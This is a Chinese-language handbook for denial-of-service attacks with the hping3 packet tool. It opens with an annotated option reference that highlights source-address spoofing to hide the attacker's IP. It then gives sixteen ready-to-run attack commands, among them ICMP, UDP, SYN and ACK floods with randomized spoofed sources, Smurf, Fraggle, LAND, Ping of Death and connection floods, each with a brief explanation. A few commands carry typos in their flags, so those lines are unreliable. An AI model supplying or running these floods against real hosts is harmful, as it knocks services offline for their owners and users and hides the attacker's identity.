Hping3 拒绝服务攻击手册
Hping3使用指南
hping 是 面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
- 主要功能
- 防火墙测试
- 高级端口扫描
- 网络测试,使用不同的协议,TOS,分片
- 手动路径MTU发现
- 在所有支持的协议下,高级traceroute
- 远程操作系统指纹
- 远程正常运行时间猜测
- TCP/IP协议栈审计
- hping也可以用于学习TCP/IP
用法
-h --help 显示帮助
-v --version 显示版本
-c --count 发送数据包的数目
-i --interval 发送数据包间隔的时间 (uX即X微秒,例如:-i u1000)
--fast 等同 -i u10000(每秒10个包)
--faster 等同 -i u1000(每秒100个包)
--flood 尽最快发送数据包,不显示回复。
-n --numeric 数字化输出,象征性输出主机地址。
-q --quiet 安静模式
-I --interface 网卡接口 (默认路由接口)
-V --verbose 详细模式
-D --debug 调试信息
-z --bind 绑定ctrl+z到ttl(默认为目的端口)
-Z --unbind 取消绑定ctrl+z键
–beep 对于接收到的每个匹配数据包蜂鸣声提示
模式选择
default mode TCP // 默认模式是 TCP
-0 --rawip RAWIP模式,原始IP模式。在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用–ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用–baseport --destport --keep选项指定其模式。
-8 --scan SCAN mode. //扫描模式 指定扫描对应的端口。
Example: hping --scan 1-30,70-90 -S www.target.host // 扫描
-9 --listen listen mode // 监听模式
IP 模式
-a --spoof spoof source address //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
–rand-dest random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
–rand-source random source address mode. see the man. // 随机源地址模式。详细使用 man 命令
-t --ttl ttl (默认 64) //修改 ttl 值
-N --id id (默认 随机) // hping 中的 ID 值,缺省为随机值
-W --winid 使用win* id字节顺序 //使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 相对id字段(估计主机流量) //更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-f --frag 拆分数据包更多的frag. (may pass weak acl) //分段,可以测试对方或者交换机碎片处理能力,缺省16字节。
-x --morefrag 设置更多的分段标志 // 大量碎片,泪滴攻击。
-y --dontfrag 设置不分段标志 // 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-g --fragoff set the fragment offset // 设置断偏移。
-m --mtu 设置虚拟最大传输单元, implies –frag if packet size > mtu // 设置虚拟MTU值,当大于mtu的时候分段。
-o --tos type of service (default 0x00), try –tos help // tos字段,缺省0x00,尽力而为?
-G --rroute includes RECORD_ROUTE option and display the route buffer // 记录IP路由,并显示路由缓冲。
–lsrr 松散源路由并记录路由 // 松散源路由
–ssrr 严格源路由并记录路由 // 严格源路由
-H --ipproto 设置IP协议字段,仅在RAW IP模式下使用 //在RAW IP模式里选择IP协议。设置ip协议域,仅在RAW ip模式使用。
ICMP 模式
-C --icmptype icmp类型(默认echo请求) // ICMP类型,缺省回显请求。
-K --icmpcode icmp代号(默认0) // ICMP代码。
–force-icmp 发送所有icmp类型(默认仅发送支持的类型) // 强制ICMP类型。
–icmp-gw 设置ICMP重定向网关地址(默认0.0.0.0) // ICMP重定向
–icmp-ts 等同 –icmp --icmptype 13 (ICMP 时间戳) // icmp时间戳
–icmp-addr 等同 –icmp --icmptype 17 (ICMP 地址子网掩码) // icmp子网地址
–icmp-help 显示其他icmp选项帮助 // ICMP帮助
UDP/TCP 模式
-s --baseport base source port (default random) // 缺省随机源端口
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec // 缺省随机源端口
-k --keep keep still source port // 保持源端口
-w --win winsize (default 64) // win的滑动窗口。windows发送字节(默认64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) // 设置伪造tcp数据偏移量(取代tcp地址长度除4)
-Q --seqnum shows only tcp sequence number // 仅显示tcp序列号
-b --badcksum (尝试)发送具有错误IP校验和数据包。许多系统将修复发送数据包的IP校验和。所以你会得到错误UDP/TCP校验和。
-M --setseq 设置TCP序列号
-L --setack 设置TCP的ack ------------------------------------- (不是 TCP 的 ACK 标志位)
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag ------------------------------------- (设置 TCP 的 ACK 标志 位)
-U --urg set URG flag // 一大堆IP抱头的设置。
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
–tcpexitcode 使用last tcp-> th_flags作为退出码
–tcp-mss 启用具有给定值的TCP MSS选项
–tcp-timestamp 启用TCP时间戳选项来猜测HZ/uptime
使用Hping3构造拒绝服务类攻击
1、ICMP Flood
ICMP(Internet Control Message Protocol–Internet控制消息协议)是网络层的协议类似于UDP。ICMP递送状态消息,错误报告,回答某些请求,报告路由信息,并且常用于测试网络的连通性和排查问题。
ICMP Floods类似于UDP不需要任何漏洞,只需要发送大量的ICMP数据包,在处理每一个数据包的时候资源消耗殆尽导致拒绝服务。
hping3 -c 10000 -d 120 --icmp -w 64 -p port --flood --rand-sourcet <目标IP>
2、udp Flood
UDP洪泛是一种拒绝服务攻击,其中大量的用户数据报协议(UDP)数据包被发送到目标终端,目的是压倒该设备的处理和响应能力
hping3 -c 50000 -d 120 --udp -w 64 -p port --flood --rand-source <目标IP>
3、TCP ACK Flood
对于短时间内向目标发送大量的的TCP数据包,在处理每一个数据包的时候资源消耗殆尽导致拒绝服务。
hping3 -c 20000 -d 120 -A -w 64 -p 80 --flood --rand-source <目标IP>
4、TCP-SYN Flood
TCP-SYN Flood攻击又称半开式连接攻击,每当我们进行一次标准的TCP连接,都会有一个三次握手的过程,而TCP-SYN Flood在它的实现过程中只有前两个步骤。这样,服务方会在一定时间处于等待接收请求方ASK消息的状态。由于一台终端可用的TCP连接是有限的,如果恶意攻击方快速连续地发送此类连接请求,则终端可用TCP连接队列很快将会阻塞,系统资源和可用带宽急剧下降,无法提供正常的网络服务,从而造成拒绝服务。
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source <目标IP>
5、特殊标志位的Dos攻击
FIN -F RST -F ACK -A SYN -S
设置 FIN 和 RST 标志位的 dos 攻击
正常情况下,FIN标志和RST标志是不能同时出现在一个TCP报文中的。而且RFC也没有规定IP协议栈如何处理这样的畸形报文,因此,各个操作系统的协议栈在收到这样的报文后的处理方式也不同,攻击者就可以利用这个特征,通过发送FIN和RST同时设置的报文,来判断操作系统的类型,然后针对该操作系统,进行进一步的攻击。
hping3 -c 10000 -d 120 -F -R -w 64 -p 80 --flood --rand-source <目标IP>
设置 ACK 和 RST 标志位的 dos 攻击
正常情况下,ACK标志和RST标志是不能同时出现在一个TCP报文中的。而且RFC也没有规定IP协议栈如何处理这样的畸形报文,因此,各个操作系统的协议栈在收到这样的报文后的处理方式也不同,攻击者就可以利用这个特征,通过发送ACK和RST同时设置的报文,来判断操作系统的类型,然后针对该操作系统,进行进一步的攻击。
hping3 -c 10000 -d 120 -A —R -w 64 -p 80 --flood --rand-source <目标IP>
6、ICMP-Echo flood
ICMP-Echo flooding是指发送大量ICMP Echo数据包。这些数据包具有源IP(通常被欺骗以减少IP信誉机制的影响)和受害者的目标IP
hping3 -c 10000 -d 120 --icmp -C 0 -w 64 -p 80 --flood --rand-sourcet <目标IP>
7、TCP Syn-Ack flood
SYN-ACK Flood攻击正是利用了这一点,攻击者利用工具或者操纵僵尸主机,向目标终端发送大量的SYN-ACK报文,这些报文都属于凭空出现的第二次握手报文,终端忙于回复RST报文,导致资源耗尽,无法响应正常的请求。
hping3 -q -n -a 源ip -S -s 1134 --keep -p 515 -i --faster -c 100 <目标ip>
8、Data ack and push flood
当与终端连接时,客户端可以通过设置ACK标志来请求确认已接收到信息,或者它可以通过设置PUSH标志强制终端处理数据包中的信息。这两个请求都要求终端执行比其他类型的请求更多的工作。
hping3 --flood --rand-source -PA -p PORT <目标ip>
9、Tcp连接攻击
Connection Flood是典型的并且非常的有效的利用小流量冲击大带宽网络服务的攻击方式,这种攻击方式目前已经越来越猖獗。这种攻击的原理是利用真实的IP地址向终端发起大量的连接,并且建立连接之后很长时间不释放,占用终端的资源,造成终端终端上残余连接(WAIT状态)过多,效率降低,甚至资源耗尽,无 法响应其他客户所发起的连接。
其中一种攻击方法是每秒钟向终端发起大量的连接请求,这类似于固定源IP的SYN Flood攻击,不同的是采用了真实的源IP地址。通常这可以在防火墙上限制每个源IP地址每秒钟的连接数来达到防护目的。但现在已有工具采用慢速连接的 方式,也即几秒钟才和终端建立一个连接,连接建立成功之后并不释放并定时发送垃圾数据包给终端使连接得以长时间保持。这样一个IP地址就可以和终端 建立成百上千的连接,而终端可以承受的连接数是有限的,这就达到了拒绝服务的效果
hping3 --tcp-connect --rate=90000 -c 900000 -q <目标IP>
10、Large ping
ICMP(Internet Control Message Protocol–Internet控制消息协议)和IGMP(Internet Group Management Protocol–Internet组管理协议)是网络层的协议类似于UDP。ICMP递送状态消息,错误报告,回答某些请求,报告路由信息,并且常用于测试网络的连通性和排查问题。IGMP是IP网络上的系统和相邻路由用来建立和维护多播组成员关系的协议。
ICMP and IGMP Floods类似于UDP不需要任何漏洞,只需要发送大量的ICMP或IGMP数据包,在处理每一个数据包的时候资源消耗殆尽导致拒绝服务。
hping3 -d 501 --flood --rand-source -1 -p PORT <目标IP>
11、固定源 ICMP 攻击
伪装IP攻击。
hping3 -1 -a 伪装IP 目标IP
12、Ping of Death
Ping of death是一种拒绝服务攻击,方法是由攻击者故意发送大于65536比特的ip数据包给对方。Ping of death攻击利用了Internet控制消息协议(ICMP)和最大传输单元(MTU)的特点,Ping命令发送ICMP回应请求(ICMP Echo-Request)并记录收到ICMP回应回复(ICMP Echo-Reply)。MTU定义了具有不同媒体类型的网络架构的单元最大传输量。
如果数据包大小大于MTU,数据包将被拆分,并在目的主机重新组合。当数据包被分解时,数据包会涵盖一个“偏移”值,这个偏移值用于在目的主机重组数据。攻击者可以将最后的数据片段替换为合理的偏移值和较大的数据包,这样将会超过ICMP回应请求数据部分的数量,如果进行重组,目的计算机将会重新启动或者崩溃。
hping3 -1 -d 70000 -c 1 <目标ip>
13、源端口为 0
访问UDP/TCP的0端口导致该事件的产生,这是一个不正常的访问,暗示着非授权的网络访问或探测活动。
hping3 -c 10000 -d 120 --tcp -w 64 -p 0 --flood --rand-source +host <目标IP>
hping3 -c 10000 -d 120 --ucp -w 64 -p 0 --flood --rand-source +host <目标IP>
14、ICMP-Smurf attack
ICMP/SMURF攻击利用的 是网络广播的原理来发送大量的连接,而包的源地址就是要攻 击的机器本身的地址;因而所有接 收到此包的主机都将给包的源地 址发送一个ICMP回复包。
hping3 -1 -a 192.168.0.1 192.168.0.255
hping3 -1 -a 目标ip 目标服务器广播地址
15、TCP-Land attack
着陆攻击LAND Attack也是一种拒绝服务攻击DOS。LAND 是Local Area Network Denial的缩写,意思是局域网拒绝服务攻击,翻译为着陆攻击只是一种错误的理解。攻击原理为,攻击机向目标机发送一个SYN的TCP包,包中的源地址被伪造为目标机的地址。当目标机收到包后,会向自己发送一个SYN+ACK的TCP包。然后,目标机向自己发送一个ACK包,这样就自己和自己建立一个空连接。这个空连接会一直持续,直到超时。当目标机被这样大量欺骗,建立大量空连接,消耗大量的系统资源,导致系统运行缓慢,甚至崩溃。
hping3 -S -c 1000000 -a <源IP> -p port <目标IP>
16、fraggle attack
Fraggle攻击对Smurf攻击作了简单的修改,使用的是UDP应答消息而非ICMP。
hping3 -2 -a 目标ip 目标服务器广播地址
hping3 -2 -a 192.168.0.1 192.168.0.255
参考: http://www.360doc.com/document/12/0712/13/10339652_223772262.shtml
|